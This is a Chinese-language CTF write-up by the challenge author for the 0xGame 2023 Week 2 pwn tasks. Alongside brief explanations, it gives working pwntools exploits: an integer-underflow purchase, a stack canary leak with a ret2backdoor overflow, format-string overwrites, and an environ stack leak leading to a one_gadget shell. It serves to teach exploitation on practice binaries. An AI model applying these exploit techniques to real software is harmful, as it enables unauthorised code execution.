0xGame 2023 Week2 Pwn WP

滑跪

看第一周校内没人打第二周前一天晚上紧急出了几个送分题，然后出了各种岔子，给各位师傅带来不好的体验实在抱歉。

calc

没啥好说的，python和pwntools使用。

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("../dist/pwn")
s=remote("8.130.35.16",55001)
for i in range(100):
    s.recvuntil(b"====\n")
    a=int(s.recvuntil(b"+")[:-1])
    b=int(s.recvuntil(b"=")[:-1])
    #print(f"{a}+{b}={a+b}")
    s.sendline(str(a+b).encode())
s.interactive()
```

ezshop

> 写wp的时候才想到买东西直接++而不是+cnt，我是铸币

减法，而且cnt没查负数，看有没有还只是查0。

直接买-1个收工。

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("../dist/pwn")
s.sendlineafter(b">> ",b"1")
s.sendlineafter("? \n".encode(),b"3")
s.sendlineafter("? \n".encode(),b"-1")
s.sendlineafter(b">> ",b"2")
s.interactive()
```

ezcanary

> 本来这道题应该是这样的

```
char binsh[]="/bin/sh";
void backdoor() {
    system("echo 'No backdoor!'");
}
```

需要写一小段ROP，但改完push回ci的时候忘记先编译了。结果直接ret2backdoor了。

前一天照着新程序写的exp结果没打通想着留到第二天再打，没想到直接放的旧附件，也就有了week2-day1的那一出反复横跳的闹剧。

覆盖低位canary的0带出来canary，然后在下一步的栈溢出写回去。

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=remote("8.130.35.16",55000)
elf=ELF("../dist/pwn")
s=process("../dist/pwn")
rdi=0x40138b
binsh=0x404068
system=0x401050
backdoor=elf.sym.backdoor
s.sendafter(b"Ur name plz?\n",b"a"*0x19)
s.recvuntil(b"a"*0x19)
canary=u64(b"\x00"+s.recv(7))
success(hex(canary))
s.sendafter(b"right?",b"Y")
s.sendafter(b"plz.\n",flat([
    b"a"*0x18,canary,0x404500,backdoor
]))
s.interactive()
```

fmt1

修改栈上变量，只需要改1byte，还有指向它的指针。

一行解决。

```
payload="%35c%39$hhn"
```

有人来问fmt顺手想到一个非预期，反正在8bytes以内，那直接都清零不就得了。

当然如果改成两个`unsigned long long`应该就能防住了吧。

```
payload="%39$lln
```

fmt2

修改bss上变量，不过给了循环。

可以一点一点改，也可以直接构造一长串（

后期基本都要自动化构造了，比如用fmt写ROP链之类的。可以试试自己写一版。

```
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process('../dist/fmt2')
s=remote("192.168.3.253",52001)
#pause()
s.sendlineafter(b"content: ",b"%33$p")
elf_base=eval(s.recv(14))-0x1280
target=elf_base+0x4048
p=f"%{0xef}c%12$hhn%{0x100-0xef+0xbe}c%13$hhn%{0x100-0xbe+0xad}c%14$hhn%{0xde-
0xad}c%15$hhna".encode()
for i in range(4):
    p+=p64(target+i)
s.sendafter(b"content: ",p)
s.interactive()
```

leak-env

environ中存放着栈相关地址，gdb挂上调一下就能知道跟当前函数栈底差多少。

还给了0x30的任意写，直接打one_gadget或者system("/bin/sh")

```
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
libc=ELF("../dist/libc.so.6")
#s=process("./leakenv")
s=remote("192.168.3.253",52003)
s.recvuntil(b"Here's your gift: ")
libc.address=eval(s.recvline()[:-1])-libc.sym.printf
environ=libc.sym.__environ
s.sendlineafter(b"read?",hex(environ)[2:].encode())
s.recvuntil(b"Here you are: ")
stack=u64(s.recv(8))
target=stack-0x100
s.sendlineafter(b"it?",hex(target)[2:].encode())
s.sendafter(b"it.\n",flat([
    0x0000000000023b63+libc.address,0,0,0,0,
    libc.address+0xe3afe,
]))
s.interactive()
```